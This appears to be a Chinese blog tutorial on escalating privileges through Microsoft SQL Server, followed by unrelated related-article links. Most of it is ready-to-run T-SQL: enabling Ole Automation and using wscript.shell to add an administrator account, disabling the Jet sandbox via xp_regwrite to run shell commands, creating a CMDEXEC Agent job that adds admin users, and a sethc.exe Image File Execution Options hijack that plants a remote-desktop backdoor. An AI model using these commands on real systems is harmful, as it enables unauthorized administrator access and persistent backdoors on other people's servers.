如何进行MSSQL提权?sp_oacreate、sp_oamethod和沙盒提权以及xp_regwrighte提权

1、sp_oacreate、sp_oamethod提权

1、开启sp-oascreate

执行下面的语句

注意:2005默认是禁用的。2000默认开启。(可以同时执行)

execsp_configure'show advanced options',1;

RECONFIGURE;

execsp_configure'Ole Automation Procedures',1;

RECONFIGURE;

2、创建账户

开启sp-ascreate之后,创建账户(语句可以同时同时执行)

declare**@cmd**INT;

execsp_oacreate 'wscript.shell',@cmdoutput;

execsp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';

execsp_oacreate 'wscript.shell',@cmdoutput;

execsp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

先检测命令是否无误

直接执行命令

2、沙盒提权

1、开启Ad Hoc Distributed

exec sp_configure'show advanced options',1

reconfigure

exec sp_configure'Ad Hoc Distributed Queries',1

reconfigure

2、关掉沙盒模式

EXECmaster .dbo .xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

3、添加账号

Select* FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

验证账号是否创建成功

4、加入管理员组

Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

3、JOB提权

1、启动sqlagent服务

execmaster .dbo .xp_servicecontrol'start','SQLSERVERAGENT'

2、创建任务

USE msdb

GO

-- 首先检查并删除已存在的作业(如果存在)

IF EXISTS (SELECT 1 FROM msdb.dbo.sysjobs WHERE name = 'x')

BEGIN

EXEC sp_delete_job @job_name = 'x'

END

GO

-- 创建新作业

EXEC sp_add_job

@job_name = 'x',

@enabled = 1

GO

-- 添加作业步骤 - 使用正确的子系统名称

EXEC sp_add_jobstep

@job_name = 'x',

@step_name = 'Step1',

@subsystem = 'CMDEXEC', -- 修正为正确的子系统名称

@command = 'cmd /c "net user hack hack /add & net user hack1 hack1 /add & net localgroup administrators hack1 /add > c:\q.txt"',

@on_success_action = 1

GO

-- 将作业附加到服务器

EXEC sp_add_jobserver

@job_name = 'x'

GO

-- 启动作业

EXEC sp_start_job @job_name = 'x'

GO

创建成功,并成功加入管理员组

4、xp_regwrighte提权(留后门)

1、利用regwrite函数修改注册表

EXEC master..xp_regwrite

@rootkey = 'HKEY_LOCAL_MACHINE',

@key = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',

@value_name = 'Debugger',

@type = 'REG_SZ',

@value = 'c:\windows\system32\cmd.exe'

2、检查劫持是否成功

master..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

如果这里没有成功,手动创建

上面图片按照这个路径往下点

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options

新建一个项,名字叫sethc.exe

选择字符串

内容为这个

远程连接开启

出现这个,选择否,图中箭头标错了

执行这个命令会弹出桌面explorer.exe

这样就直接进入别人桌面

至此,这种方式提权成功

相关推荐
赵渝强老师11 小时前
【赵渝强老师】openGauss的数据库
数据库·opengauss·国产数据库·高斯数据库
HackTwoHub11 小时前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
l1t11 小时前
DuckDB对group by cube / rollup / groupping sets查询的优化
数据库·duckdb
Database_Cool_12 小时前
什么是湖仓一体?和数据仓库的本质区别(附 AnalyticDB MySQL 湖仓一体方案)
数据库·数据仓库·mysql
l1t12 小时前
DeepSeek总结的MariaDB 的 DuckDB 存储引擎
数据库·mariadb
tiancaijiben13 小时前
阿里云VMware服务完全对接指南:从环境准备到混合云生产级应用
数据库
Curvatureflight13 小时前
MySQL 深分页越来越慢?从 LIMIT OFFSET 改成游标分页
数据库·oracle
XZ-07000113 小时前
MySQL事务
数据库·mysql·oracle
tiancaijiben13 小时前
阿里云函数计算FC如何实现网站的定时任务与自动化
数据库·oracle·dba
xfhuangfu13 小时前
Oracle 19c 多租户体系架构介绍
数据库·oracle·架构